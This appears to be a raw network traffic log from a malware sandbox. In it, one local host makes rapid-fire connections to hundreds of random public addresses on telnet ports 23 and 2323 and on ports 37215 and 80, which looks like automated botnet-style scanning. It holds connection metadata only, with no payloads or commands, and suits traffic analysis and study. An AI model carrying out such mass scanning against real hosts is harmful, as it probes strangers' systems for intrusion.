Feb 27, 2025 07:08:37.639508009 CET	35746	23	192.168.2.14	164.249.228.239
Feb 27, 2025 07:08:37.640043974 CET	53856	23	192.168.2.14	156.237.212.235
Feb 27, 2025 07:08:37.640585899 CET	53966	23	192.168.2.14	137.73.136.10
Feb 27, 2025 07:08:37.641118050 CET	33178	23	192.168.2.14	157.86.119.181
Feb 27, 2025 07:08:37.641310930 CET	23	41438	163.236.211.6	192.168.2.14
Feb 27, 2025 07:08:37.641350985 CET	41438	23	192.168.2.14	163.236.211.6
Feb 27, 2025 07:08:37.641655922 CET	55304	23	192.168.2.14	155.161.219.53
Feb 27, 2025 07:08:37.642194033 CET	47860	2323	192.168.2.14	116.11.102.225
Feb 27, 2025 07:08:37.642752886 CET	42218	23	192.168.2.14	155.209.95.240
Feb 27, 2025 07:08:37.643295050 CET	56474	23	192.168.2.14	210.211.5.17
Feb 27, 2025 07:08:37.643850088 CET	41414	23	192.168.2.14	38.122.26.180
Feb 27, 2025 07:08:37.644377947 CET	39188	23	192.168.2.14	69.93.60.100
Feb 27, 2025 07:08:37.644936085 CET	54250	23	192.168.2.14	135.187.172.24
Feb 27, 2025 07:08:37.645462990 CET	60352	23	192.168.2.14	186.114.185.226
Feb 27, 2025 07:08:37.646002054 CET	41330	23	192.168.2.14	175.231.202.21
Feb 27, 2025 07:08:37.646531105 CET	60974	23	192.168.2.14	12.74.246.119
Feb 27, 2025 07:08:37.647074938 CET	52570	2323	192.168.2.14	186.205.237.214
Feb 27, 2025 07:08:37.647620916 CET	37866	23	192.168.2.14	108.111.138.12
Feb 27, 2025 07:08:37.648173094 CET	35556	23	192.168.2.14	206.81.159.92
Feb 27, 2025 07:08:37.648710966 CET	53158	23	192.168.2.14	210.124.107.154
Feb 27, 2025 07:08:37.649238110 CET	56570	23	192.168.2.14	69.245.159.190
Feb 27, 2025 07:08:37.649772882 CET	39790	23	192.168.2.14	162.216.253.168
Feb 27, 2025 07:08:37.650325060 CET	37266	23	192.168.2.14	184.60.58.169
Feb 27, 2025 07:08:37.650852919 CET	49476	23	192.168.2.14	38.212.63.234
Feb 27, 2025 07:08:37.651417971 CET	46694	23	192.168.2.14	142.58.224.138
Feb 27, 2025 07:08:37.651974916 CET	57592	23	192.168.2.14	197.78.65.190
Feb 27, 2025 07:08:37.652789116 CET	23	37866	108.111.138.12	192.168.2.14
Feb 27, 2025 07:08:37.652858019 CET	37866	23	192.168.2.14	108.111.138.12
Feb 27, 2025 07:08:37.658721924 CET	47744	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:37.658721924 CET	49278	37215	192.168.2.14	197.156.182.204
Feb 27, 2025 07:08:37.658725023 CET	44160	37215	192.168.2.14	197.0.226.251
Feb 27, 2025 07:08:37.658734083 CET	53960	37215	192.168.2.14	197.183.247.234
Feb 27, 2025 07:08:37.658735991 CET	36176	37215	192.168.2.14	197.185.165.210
Feb 27, 2025 07:08:37.658740997 CET	40572	37215	192.168.2.14	197.87.123.131
Feb 27, 2025 07:08:37.658752918 CET	49502	37215	192.168.2.14	197.104.194.31
Feb 27, 2025 07:08:37.658760071 CET	49364	37215	192.168.2.14	197.66.4.227
Feb 27, 2025 07:08:37.658760071 CET	40734	37215	192.168.2.14	197.114.167.203
Feb 27, 2025 07:08:37.658760071 CET	49282	37215	192.168.2.14	197.233.146.207
Feb 27, 2025 07:08:37.658760071 CET	44132	37215	192.168.2.14	197.155.7.67
Feb 27, 2025 07:08:37.658761978 CET	40332	37215	192.168.2.14	197.188.15.108
Feb 27, 2025 07:08:37.658761978 CET	44058	37215	192.168.2.14	197.213.37.124
Feb 27, 2025 07:08:37.658761978 CET	50244	37215	192.168.2.14	197.193.133.57
Feb 27, 2025 07:08:37.658761978 CET	48854	37215	192.168.2.14	197.196.114.114
Feb 27, 2025 07:08:37.658761978 CET	34498	37215	192.168.2.14	197.144.83.131
Feb 27, 2025 07:08:37.663791895 CET	80	47744	95.183.16.67	192.168.2.14
Feb 27, 2025 07:08:37.663871050 CET	47744	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:37.663927078 CET	47744	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:37.663980007 CET	28098	80	192.168.2.14	88.195.1.13
Feb 27, 2025 07:08:37.663999081 CET	28098	80	192.168.2.14	88.188.102.9
Feb 27, 2025 07:08:37.664010048 CET	28098	80	192.168.2.14	88.235.205.157
Feb 27, 2025 07:08:37.664027929 CET	28098	80	192.168.2.14	88.6.90.240
Feb 27, 2025 07:08:37.664047956 CET	28098	80	192.168.2.14	88.78.93.58
Feb 27, 2025 07:08:37.664066076 CET	28098	80	192.168.2.14	88.230.211.230
Feb 27, 2025 07:08:37.664076090 CET	28098	80	192.168.2.14	88.136.194.29
Feb 27, 2025 07:08:37.664096117 CET	28098	80	192.168.2.14	88.153.93.78
Feb 27, 2025 07:08:37.664105892 CET	28098	80	192.168.2.14	88.161.12.83
Feb 27, 2025 07:08:37.664122105 CET	28098	80	192.168.2.14	88.223.231.244
Feb 27, 2025 07:08:37.664139032 CET	28098	80	192.168.2.14	88.187.115.137
Feb 27, 2025 07:08:37.664151907 CET	28098	80	192.168.2.14	88.165.108.140
Feb 27, 2025 07:08:37.664182901 CET	28098	80	192.168.2.14	88.227.47.37
Feb 27, 2025 07:08:37.664185047 CET	28098	80	192.168.2.14	88.248.158.86
Feb 27, 2025 07:08:37.664201975 CET	28098	80	192.168.2.14	88.168.121.169
Feb 27, 2025 07:08:37.664216042 CET	28098	80	192.168.2.14	88.64.32.50
Feb 27, 2025 07:08:37.664232969 CET	28098	80	192.168.2.14	88.167.237.16
Feb 27, 2025 07:08:37.664258957 CET	28098	80	192.168.2.14	88.237.110.171
Feb 27, 2025 07:08:37.664273024 CET	28098	80	192.168.2.14	88.215.159.84
Feb 27, 2025 07:08:37.664287090 CET	28098	80	192.168.2.14	88.158.92.141
Feb 27, 2025 07:08:37.664311886 CET	28098	80	192.168.2.14	88.107.32.197
Feb 27, 2025 07:08:37.664334059 CET	28098	80	192.168.2.14	88.41.222.17
Feb 27, 2025 07:08:37.664350033 CET	28098	80	192.168.2.14	88.46.31.119
Feb 27, 2025 07:08:37.664362907 CET	28098	80	192.168.2.14	88.221.219.107
Feb 27, 2025 07:08:37.664374113 CET	28098	80	192.168.2.14	88.39.58.199
Feb 27, 2025 07:08:37.664393902 CET	28098	80	192.168.2.14	88.111.235.140
Feb 27, 2025 07:08:37.664406061 CET	28098	80	192.168.2.14	88.33.206.21
Feb 27, 2025 07:08:37.664417028 CET	28098	80	192.168.2.14	88.165.197.185
Feb 27, 2025 07:08:37.664433002 CET	28098	80	192.168.2.14	88.82.140.24
Feb 27, 2025 07:08:37.664453983 CET	28098	80	192.168.2.14	88.180.53.194
Feb 27, 2025 07:08:37.664474964 CET	28098	80	192.168.2.14	88.129.33.170
Feb 27, 2025 07:08:37.664484978 CET	28098	80	192.168.2.14	88.229.149.222
Feb 27, 2025 07:08:37.664509058 CET	28098	80	192.168.2.14	88.139.217.165
Feb 27, 2025 07:08:37.664520025 CET	28098	80	192.168.2.14	88.65.27.134
Feb 27, 2025 07:08:37.664532900 CET	28098	80	192.168.2.14	88.151.149.214
Feb 27, 2025 07:08:37.664566040 CET	28098	80	192.168.2.14	88.6.100.208
Feb 27, 2025 07:08:37.664587021 CET	28098	80	192.168.2.14	88.95.177.227
Feb 27, 2025 07:08:37.664587021 CET	28098	80	192.168.2.14	88.48.24.93
Feb 27, 2025 07:08:37.664601088 CET	28098	80	192.168.2.14	88.253.203.52
Feb 27, 2025 07:08:37.664624929 CET	28098	80	192.168.2.14	88.97.234.248
Feb 27, 2025 07:08:37.664659977 CET	28098	80	192.168.2.14	88.197.107.142
Feb 27, 2025 07:08:37.664665937 CET	28098	80	192.168.2.14	88.94.247.76
Feb 27, 2025 07:08:37.664695024 CET	28098	80	192.168.2.14	88.179.103.152
Feb 27, 2025 07:08:37.664721012 CET	28098	80	192.168.2.14	88.11.204.97
Feb 27, 2025 07:08:37.664742947 CET	28098	80	192.168.2.14	88.80.73.18
Feb 27, 2025 07:08:37.664748907 CET	28098	80	192.168.2.14	88.230.197.122
Feb 27, 2025 07:08:37.664764881 CET	28098	80	192.168.2.14	88.16.169.253
Feb 27, 2025 07:08:37.664779902 CET	28098	80	192.168.2.14	88.173.146.124
Feb 27, 2025 07:08:37.664808989 CET	28098	80	192.168.2.14	88.45.171.36
Feb 27, 2025 07:08:37.664820910 CET	28098	80	192.168.2.14	88.206.244.251
Feb 27, 2025 07:08:37.664828062 CET	28098	80	192.168.2.14	88.80.251.206
Feb 27, 2025 07:08:37.664843082 CET	28098	80	192.168.2.14	88.236.228.132
Feb 27, 2025 07:08:37.664868116 CET	28098	80	192.168.2.14	88.90.210.7
Feb 27, 2025 07:08:37.664881945 CET	28098	80	192.168.2.14	88.137.76.72
Feb 27, 2025 07:08:37.664895058 CET	28098	80	192.168.2.14	88.77.152.122
Feb 27, 2025 07:08:37.664910078 CET	28098	80	192.168.2.14	88.118.60.95
Feb 27, 2025 07:08:37.664936066 CET	28098	80	192.168.2.14	88.98.5.27
Feb 27, 2025 07:08:37.664948940 CET	28098	80	192.168.2.14	88.17.170.225
Feb 27, 2025 07:08:37.664975882 CET	28098	80	192.168.2.14	88.62.109.114
Feb 27, 2025 07:08:37.664988041 CET	28098	80	192.168.2.14	88.78.32.207
Feb 27, 2025 07:08:37.665013075 CET	28098	80	192.168.2.14	88.252.82.211
Feb 27, 2025 07:08:37.665028095 CET	28098	80	192.168.2.14	88.154.69.241
Feb 27, 2025 07:08:37.665050983 CET	28098	80	192.168.2.14	88.31.214.29
Feb 27, 2025 07:08:37.665061951 CET	28098	80	192.168.2.14	88.11.200.161
Feb 27, 2025 07:08:37.665087938 CET	28098	80	192.168.2.14	88.143.132.167
Feb 27, 2025 07:08:37.665111065 CET	28098	80	192.168.2.14	88.222.159.250
Feb 27, 2025 07:08:37.665132999 CET	28098	80	192.168.2.14	88.155.252.154
Feb 27, 2025 07:08:37.665139914 CET	28098	80	192.168.2.14	88.146.126.252
Feb 27, 2025 07:08:37.665167093 CET	28098	80	192.168.2.14	88.250.78.178
Feb 27, 2025 07:08:37.665175915 CET	28098	80	192.168.2.14	88.102.58.130
Feb 27, 2025 07:08:37.665194988 CET	28098	80	192.168.2.14	88.39.113.213
Feb 27, 2025 07:08:37.665220022 CET	28098	80	192.168.2.14	88.42.93.13
Feb 27, 2025 07:08:37.665231943 CET	28098	80	192.168.2.14	88.204.201.69
Feb 27, 2025 07:08:37.665256977 CET	28098	80	192.168.2.14	88.55.122.27
Feb 27, 2025 07:08:37.665262938 CET	28098	80	192.168.2.14	88.9.232.20
Feb 27, 2025 07:08:37.665283918 CET	28098	80	192.168.2.14	88.201.42.162
Feb 27, 2025 07:08:37.665291071 CET	28098	80	192.168.2.14	88.62.161.153
Feb 27, 2025 07:08:37.665319920 CET	28098	80	192.168.2.14	88.171.37.39
Feb 27, 2025 07:08:37.665319920 CET	28098	80	192.168.2.14	88.114.37.218
Feb 27, 2025 07:08:37.665337086 CET	28098	80	192.168.2.14	88.26.63.168
Feb 27, 2025 07:08:37.665378094 CET	28098	80	192.168.2.14	88.131.63.207
Feb 27, 2025 07:08:37.665378094 CET	28098	80	192.168.2.14	88.61.231.242
Feb 27, 2025 07:08:37.665390968 CET	28098	80	192.168.2.14	88.207.149.111
Feb 27, 2025 07:08:37.665410042 CET	28098	80	192.168.2.14	88.20.114.42
Feb 27, 2025 07:08:37.665425062 CET	28098	80	192.168.2.14	88.75.8.178
Feb 27, 2025 07:08:37.665441036 CET	28098	80	192.168.2.14	88.137.86.82
Feb 27, 2025 07:08:37.665451050 CET	28098	80	192.168.2.14	88.180.63.248
Feb 27, 2025 07:08:37.665474892 CET	28098	80	192.168.2.14	88.94.115.30
Feb 27, 2025 07:08:37.665487051 CET	28098	80	192.168.2.14	88.235.177.237
Feb 27, 2025 07:08:37.665508986 CET	28098	80	192.168.2.14	88.28.239.216
Feb 27, 2025 07:08:37.665518999 CET	28098	80	192.168.2.14	88.147.148.4
Feb 27, 2025 07:08:37.665539980 CET	28098	80	192.168.2.14	88.53.245.63
Feb 27, 2025 07:08:37.665555954 CET	28098	80	192.168.2.14	88.73.16.58
Feb 27, 2025 07:08:37.665570021 CET	28098	80	192.168.2.14	88.116.50.254
Feb 27, 2025 07:08:37.665594101 CET	28098	80	192.168.2.14	88.90.119.35
Feb 27, 2025 07:08:37.665606022 CET	28098	80	192.168.2.14	88.187.88.204
Feb 27, 2025 07:08:37.665616989 CET	28098	80	192.168.2.14	88.153.145.121
Feb 27, 2025 07:08:37.665633917 CET	28098	80	192.168.2.14	88.27.46.229
Feb 27, 2025 07:08:37.665649891 CET	28098	80	192.168.2.14	88.149.180.187
Feb 27, 2025 07:08:37.665656090 CET	28098	80	192.168.2.14	88.123.204.233
Feb 27, 2025 07:08:37.665673971 CET	28098	80	192.168.2.14	88.153.57.118
Feb 27, 2025 07:08:37.665688038 CET	28098	80	192.168.2.14	88.89.68.217
Feb 27, 2025 07:08:37.665702105 CET	28098	80	192.168.2.14	88.114.161.212
Feb 27, 2025 07:08:37.665714025 CET	28098	80	192.168.2.14	88.189.46.161
Feb 27, 2025 07:08:37.665733099 CET	28098	80	192.168.2.14	88.141.110.83
Feb 27, 2025 07:08:37.665754080 CET	28098	80	192.168.2.14	88.69.236.5
Feb 27, 2025 07:08:37.665759087 CET	28098	80	192.168.2.14	88.96.56.167
Feb 27, 2025 07:08:37.665771961 CET	28098	80	192.168.2.14	88.20.225.255
Feb 27, 2025 07:08:37.665802002 CET	28098	80	192.168.2.14	88.203.61.181
Feb 27, 2025 07:08:37.665821075 CET	28098	80	192.168.2.14	88.53.219.22
Feb 27, 2025 07:08:37.665832996 CET	28098	80	192.168.2.14	88.62.194.114
Feb 27, 2025 07:08:37.665846109 CET	28098	80	192.168.2.14	88.200.222.140
Feb 27, 2025 07:08:37.665863037 CET	28098	80	192.168.2.14	88.191.145.38
Feb 27, 2025 07:08:37.665879965 CET	28098	80	192.168.2.14	88.249.178.15
Feb 27, 2025 07:08:37.665891886 CET	28098	80	192.168.2.14	88.169.236.253
Feb 27, 2025 07:08:37.665906906 CET	28098	80	192.168.2.14	88.195.19.184
Feb 27, 2025 07:08:37.665930986 CET	28098	80	192.168.2.14	88.208.247.148
Feb 27, 2025 07:08:37.665942907 CET	28098	80	192.168.2.14	88.57.217.141
Feb 27, 2025 07:08:37.665976048 CET	28098	80	192.168.2.14	88.89.247.177
Feb 27, 2025 07:08:37.665985107 CET	28098	80	192.168.2.14	88.195.249.44
Feb 27, 2025 07:08:37.665997982 CET	28098	80	192.168.2.14	88.205.46.11
Feb 27, 2025 07:08:37.666021109 CET	28098	80	192.168.2.14	88.253.23.18
Feb 27, 2025 07:08:37.666032076 CET	28098	80	192.168.2.14	88.73.249.164
Feb 27, 2025 07:08:37.666042089 CET	28098	80	192.168.2.14	88.186.39.119
Feb 27, 2025 07:08:37.666070938 CET	28098	80	192.168.2.14	88.23.37.187
Feb 27, 2025 07:08:37.666081905 CET	28098	80	192.168.2.14	88.94.30.100
Feb 27, 2025 07:08:37.666115046 CET	28098	80	192.168.2.14	88.142.241.214
Feb 27, 2025 07:08:37.666122913 CET	28098	80	192.168.2.14	88.98.230.231
Feb 27, 2025 07:08:37.666130066 CET	28098	80	192.168.2.14	88.25.223.241
Feb 27, 2025 07:08:37.666167974 CET	28098	80	192.168.2.14	88.24.85.166
Feb 27, 2025 07:08:37.666188955 CET	28098	80	192.168.2.14	88.159.127.110
Feb 27, 2025 07:08:37.666198015 CET	28098	80	192.168.2.14	88.255.135.179
Feb 27, 2025 07:08:37.666224957 CET	28098	80	192.168.2.14	88.137.222.243
Feb 27, 2025 07:08:37.666245937 CET	28098	80	192.168.2.14	88.81.216.84
Feb 27, 2025 07:08:37.666254997 CET	28098	80	192.168.2.14	88.26.46.114
Feb 27, 2025 07:08:37.666274071 CET	28098	80	192.168.2.14	88.214.45.241
Feb 27, 2025 07:08:37.666280985 CET	28098	80	192.168.2.14	88.56.250.120
Feb 27, 2025 07:08:37.666291952 CET	28098	80	192.168.2.14	88.228.247.195
Feb 27, 2025 07:08:37.666310072 CET	28098	80	192.168.2.14	88.123.52.45
Feb 27, 2025 07:08:37.666337013 CET	28098	80	192.168.2.14	88.121.185.188
Feb 27, 2025 07:08:37.666337967 CET	28098	80	192.168.2.14	88.12.78.155
Feb 27, 2025 07:08:37.666356087 CET	28098	80	192.168.2.14	88.218.159.141
Feb 27, 2025 07:08:37.666368961 CET	28098	80	192.168.2.14	88.91.201.49
Feb 27, 2025 07:08:37.666390896 CET	28098	80	192.168.2.14	88.3.212.228
Feb 27, 2025 07:08:37.666404009 CET	28098	80	192.168.2.14	88.138.80.194
Feb 27, 2025 07:08:37.666420937 CET	28098	80	192.168.2.14	88.15.214.93
Feb 27, 2025 07:08:37.666441917 CET	28098	80	192.168.2.14	88.207.107.98
Feb 27, 2025 07:08:37.666450977 CET	28098	80	192.168.2.14	88.174.128.121
Feb 27, 2025 07:08:37.666470051 CET	28098	80	192.168.2.14	88.78.4.34
Feb 27, 2025 07:08:37.666481972 CET	28098	80	192.168.2.14	88.187.107.226
Feb 27, 2025 07:08:37.666506052 CET	28098	80	192.168.2.14	88.37.143.12
Feb 27, 2025 07:08:37.666521072 CET	28098	80	192.168.2.14	88.11.54.93
Feb 27, 2025 07:08:37.666532993 CET	28098	80	192.168.2.14	88.247.47.99
Feb 27, 2025 07:08:37.666548967 CET	28098	80	192.168.2.14	88.150.228.3
Feb 27, 2025 07:08:37.666574001 CET	28098	80	192.168.2.14	88.1.144.239
Feb 27, 2025 07:08:37.666580915 CET	28098	80	192.168.2.14	88.22.35.17
Feb 27, 2025 07:08:37.666599035 CET	28098	80	192.168.2.14	88.160.219.68
Feb 27, 2025 07:08:37.666615009 CET	28098	80	192.168.2.14	88.221.179.227
Feb 27, 2025 07:08:37.666629076 CET	28098	80	192.168.2.14	88.120.180.52
Feb 27, 2025 07:08:37.666641951 CET	28098	80	192.168.2.14	88.23.113.202
Feb 27, 2025 07:08:37.666975021 CET	50648	23	192.168.2.14	25.11.133.231
Feb 27, 2025 07:08:37.667495012 CET	57296	23	192.168.2.14	184.169.87.143
Feb 27, 2025 07:08:37.668009996 CET	33214	23	192.168.2.14	188.91.48.19
Feb 27, 2025 07:08:37.668521881 CET	58882	23	192.168.2.14	51.89.223.166
Feb 27, 2025 07:08:37.669023037 CET	43606	23	192.168.2.14	80.54.202.74
Feb 27, 2025 07:08:37.669157028 CET	80	47744	95.183.16.67	192.168.2.14
Feb 27, 2025 07:08:37.669198990 CET	47744	80	192.168.2.14	95.183.16.67
Feb 27, 2025 07:08:37.669548988 CET	59476	23	192.168.2.14	138.35.223.44
Feb 27, 2025 07:08:37.670062065 CET	52850	2323	192.168.2.14	143.44.16.105
Feb 27, 2025 07:08:37.670582056 CET	42594	23	192.168.2.14	144.49.253.5
Feb 27, 2025 07:08:37.671117067 CET	49612	23	192.168.2.14	101.85.252.225
Feb 27, 2025 07:08:37.671619892 CET	45212	23	192.168.2.14	125.220.50.31
Feb 27, 2025 07:08:37.672135115 CET	50270	23	192.168.2.14	46.49.25.124
Feb 27, 2025 07:08:37.672517061 CET	23	57296	184.169.87.143	192.168.2.14
Feb 27, 2025 07:08:37.672559977 CET	57296	23	192.168.2.14	184.169.87.143
Feb 27, 2025 07:08:37.672656059 CET	51788	2323	192.168.2.14	161.206.163.60
Feb 27, 2025 07:08:37.673167944 CET	33194	23	192.168.2.14	76.52.244.38
Feb 27, 2025 07:08:37.673687935 CET	34742	2323	192.168.2.14	172.48.58.71
Feb 27, 2025 07:08:37.674237013 CET	54888	23	192.168.2.14	65.228.216.182
Feb 27, 2025 07:08:37.674753904 CET	36200	23	192.168.2.14	182.246.0.70
Feb 27, 2025 07:08:37.675256968 CET	43204	23	192.168.2.14	138.174.156.255
Feb 27, 2025 07:08:37.675774097 CET	45654	2323	192.168.2.14	222.173.70.153
Feb 27, 2025 07:08:37.676300049 CET	57380	23	192.168.2.14	81.143.90.79
Feb 27, 2025 07:08:37.680813074 CET	2323	45654	222.173.70.153	192.168.2.14
Feb 27, 2025 07:08:37.680867910 CET	45654	2323	192.168.2.14	222.173.70.153
Feb 27, 2025 07:08:37.690722942 CET	51120	37215	192.168.2.14	197.154.151.222
Feb 27, 2025 07:08:37.690723896 CET	41644	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:37.690723896 CET	55762	37215	192.168.2.14	197.175.2.76
Feb 27, 2025 07:08:37.690726995 CET	46200	37215	192.168.2.14	197.35.40.175
Feb 27, 2025 07:08:37.690722942 CET	48596	37215	192.168.2.14	197.180.59.182
Feb 27, 2025 07:08:37.690731049 CET	55322	37215	192.168.2.14	197.121.215.42
Feb 27, 2025 07:08:37.690731049 CET	45742	37215	192.168.2.14	197.169.234.129
Feb 27, 2025 07:08:37.690737963 CET	58980	37215	192.168.2.14	197.251.54.242
Feb 27, 2025 07:08:37.690740108 CET	59168	37215	192.168.2.14	197.71.137.102
Feb 27, 2025 07:08:37.690741062 CET	40036	37215	192.168.2.14	197.8.223.43
Feb 27, 2025 07:08:37.690742016 CET	47504	37215	192.168.2.14	197.22.1.231
Feb 27, 2025 07:08:37.690733910 CET	43116	80	192.168.2.14	95.67.124.14
Feb 27, 2025 07:08:37.690752983 CET	54396	37215	192.168.2.14	197.94.193.85
Feb 27, 2025 07:08:37.690756083 CET	59394	37215	192.168.2.14	197.255.17.129
Feb 27, 2025 07:08:37.690754890 CET	46252	37215	192.168.2.14	197.111.112.210
Feb 27, 2025 07:08:37.690757990 CET	60598	37215	192.168.2.14	197.20.49.166
Feb 27, 2025 07:08:37.690758944 CET	40336	37215	192.168.2.14	197.135.196.234
Feb 27, 2025 07:08:37.690758944 CET	57510	37215	192.168.2.14	197.132.160.82
Feb 27, 2025 07:08:37.690764904 CET	33252	37215	192.168.2.14	197.243.151.67
Feb 27, 2025 07:08:37.690764904 CET	42912	37215	192.168.2.14	197.71.61.75
Feb 27, 2025 07:08:37.690764904 CET	56766	37215	192.168.2.14	197.240.150.89
Feb 27, 2025 07:08:37.690772057 CET	59034	37215	192.168.2.14	197.182.79.140
Feb 27, 2025 07:08:37.690773010 CET	43822	37215	192.168.2.14	197.111.198.8
Feb 27, 2025 07:08:37.690784931 CET	38882	37215	192.168.2.14	197.133.242.245
Feb 27, 2025 07:08:37.695915937 CET	37215	41644	197.247.202.137	192.168.2.14
Feb 27, 2025 07:08:37.695970058 CET	41644	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:37.696371078 CET	57260	37215	192.168.2.14	157.153.14.182
Feb 27, 2025 07:08:37.696811914 CET	41644	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:37.696827888 CET	41644	37215	192.168.2.14	197.247.202.137
Feb 27, 2025 07:08:37.701463938 CET	37215	57260	157.153.14.182	192.168.2.14
Feb 27, 2025 07:08:37.701514959 CET	57260	37215	192.168.2.14	157.153.14.182
Feb 27, 2025 07:08:37.701545954 CET	57260	37215	192.168.2.14	157.153.14.182
Feb 27, 2025 07:08:37.701565027 CET	57260	37215	192.168.2.14	157.153.14.182
Feb 27, 2025 07:08:37.701864958 CET	37215	41644	197.247.202.137	192.168.2.14
Feb 27, 2025 07:08:37.706656933 CET	37215	57260	157.153.14.182	192.168.2.14
Feb 27, 2025 07:08:37.722733974 CET	55508	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:37.722733974 CET	49926	37215	192.168.2.14	197.233.12.90
Feb 27, 2025 07:08:37.722734928 CET	58010	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:37.722735882 CET	51698	37215	192.168.2.14	197.112.195.73
Feb 27, 2025 07:08:37.722735882 CET	49946	37215	192.168.2.14	197.23.162.18
Feb 27, 2025 07:08:37.722737074 CET	42446	37215	192.168.2.14	197.3.230.4
Feb 27, 2025 07:08:37.722748995 CET	45474	37215	192.168.2.14	197.0.59.184
Feb 27, 2025 07:08:37.722749949 CET	54442	37215	192.168.2.14	197.158.163.249
Feb 27, 2025 07:08:37.722752094 CET	57556	37215	192.168.2.14	197.151.244.255
Feb 27, 2025 07:08:37.722752094 CET	34192	37215	192.168.2.14	197.175.62.249
Feb 27, 2025 07:08:37.722752094 CET	50568	37215	192.168.2.14	197.201.172.214
Feb 27, 2025 07:08:37.722755909 CET	55778	37215	192.168.2.14	197.196.191.228
Feb 27, 2025 07:08:37.722755909 CET	33500	37215	192.168.2.14	197.43.149.191
Feb 27, 2025 07:08:37.722755909 CET	33762	37215	192.168.2.14	197.9.163.194
Feb 27, 2025 07:08:37.722770929 CET	50058	37215	192.168.2.14	197.143.63.188
Feb 27, 2025 07:08:37.722770929 CET	49884	37215	192.168.2.14	197.177.199.246
Feb 27, 2025 07:08:37.722778082 CET	35210	37215	192.168.2.14	197.25.106.16
Feb 27, 2025 07:08:37.722779989 CET	47002	37215	192.168.2.14	197.1.223.53
Feb 27, 2025 07:08:37.722786903 CET	34206	37215	192.168.2.14	197.79.152.119
Feb 27, 2025 07:08:37.722825050 CET	45302	80	192.168.2.14	95.254.18.81
Feb 27, 2025 07:08:37.722825050 CET	54250	37215	192.168.2.14	197.20.52.21
Feb 27, 2025 07:08:37.722825050 CET	43584	37215	192.168.2.14	197.81.122.47
Feb 27, 2025 07:08:37.722825050 CET	34382	37215	192.168.2.14	197.208.163.89
Feb 27, 2025 07:08:37.722825050 CET	46152	37215	192.168.2.14	197.123.184.37
Feb 27, 2025 07:08:37.722825050 CET	36864	37215	192.168.2.14	197.143.78.49
Feb 27, 2025 07:08:37.722840071 CET	33556	80	192.168.2.14	95.87.175.128
Feb 27, 2025 07:08:37.722840071 CET	48510	37215	192.168.2.14	197.209.105.119
Feb 27, 2025 07:08:37.722840071 CET	58272	37215	192.168.2.14	197.171.161.89
Feb 27, 2025 07:08:37.722862005 CET	55304	37215	192.168.2.14	197.55.168.239
Feb 27, 2025 07:08:37.722862005 CET	53514	37215	192.168.2.14	197.99.235.121
Feb 27, 2025 07:08:37.722862005 CET	53042	37215	192.168.2.14	197.27.193.249
Feb 27, 2025 07:08:37.727893114 CET	37215	58010	197.174.124.163	192.168.2.14
Feb 27, 2025 07:08:37.727912903 CET	80	55508	95.190.239.241	192.168.2.14
Feb 27, 2025 07:08:37.727945089 CET	58010	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:37.727962017 CET	55508	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:37.727972984 CET	55508	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:37.728082895 CET	58010	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:37.728105068 CET	58010	37215	192.168.2.14	197.174.124.163
Feb 27, 2025 07:08:37.733071089 CET	37215	58010	197.174.124.163	192.168.2.14
Feb 27, 2025 07:08:37.733549118 CET	80	55508	95.190.239.241	192.168.2.14
Feb 27, 2025 07:08:37.733608007 CET	55508	80	192.168.2.14	95.190.239.241
Feb 27, 2025 07:08:37.742305040 CET	37215	41644	197.247.202.137	192.168.2.14
Feb 27, 2025 07:08:37.750720978 CET	37215	57260	157.153.14.182	192.168.2.14
Feb 27, 2025 07:08:37.754862070 CET	36348	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:37.754862070 CET	36474	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:37.760113001 CET	80	36348	95.212.6.85	192.168.2.14
Feb 27, 2025 07:08:37.760128975 CET	80	36474	95.204.107.177	192.168.2.14
Feb 27, 2025 07:08:37.760188103 CET	36348	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:37.760188103 CET	36474	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:37.760236025 CET	36348	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:37.760236025 CET	36474	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:37.765602112 CET	80	36348	95.212.6.85	192.168.2.14
Feb 27, 2025 07:08:37.765690088 CET	36348	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:37.765738010 CET	80	36474	95.204.107.177	192.168.2.14
Feb 27, 2025 07:08:37.765793085 CET	36474	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:37.774337053 CET	37215	58010	197.174.124.163	192.168.2.14
Feb 27, 2025 07:08:38.554853916 CET	39990	23	192.168.2.14	151.184.176.35
Feb 27, 2025 07:08:38.554855108 CET	54708	23	192.168.2.14	84.174.237.117
Feb 27, 2025 07:08:38.554853916 CET	35544	23	192.168.2.14	190.236.150.116
Feb 27, 2025 07:08:38.554856062 CET	60010	23	192.168.2.14	93.127.119.251
Feb 27, 2025 07:08:38.554877996 CET	55842	23	192.168.2.14	189.116.91.74
Feb 27, 2025 07:08:38.554877996 CET	38640	23	192.168.2.14	124.238.175.194
Feb 27, 2025 07:08:38.554891109 CET	42642	23	192.168.2.14	211.1.40.27
Feb 27, 2025 07:08:38.554950953 CET	39280	23	192.168.2.14	79.200.168.234
Feb 27, 2025 07:08:38.554955959 CET	50864	23	192.168.2.14	81.233.47.162
Feb 27, 2025 07:08:38.554955959 CET	36532	23	192.168.2.14	148.27.21.253
Feb 27, 2025 07:08:38.555005074 CET	43432	23	192.168.2.14	34.222.105.245
Feb 27, 2025 07:08:38.555005074 CET	52608	23	192.168.2.14	57.2.11.215
Feb 27, 2025 07:08:38.560492039 CET	23	39990	151.184.176.35	192.168.2.14
Feb 27, 2025 07:08:38.560549974 CET	23	54708	84.174.237.117	192.168.2.14
Feb 27, 2025 07:08:38.560580015 CET	23	60010	93.127.119.251	192.168.2.14
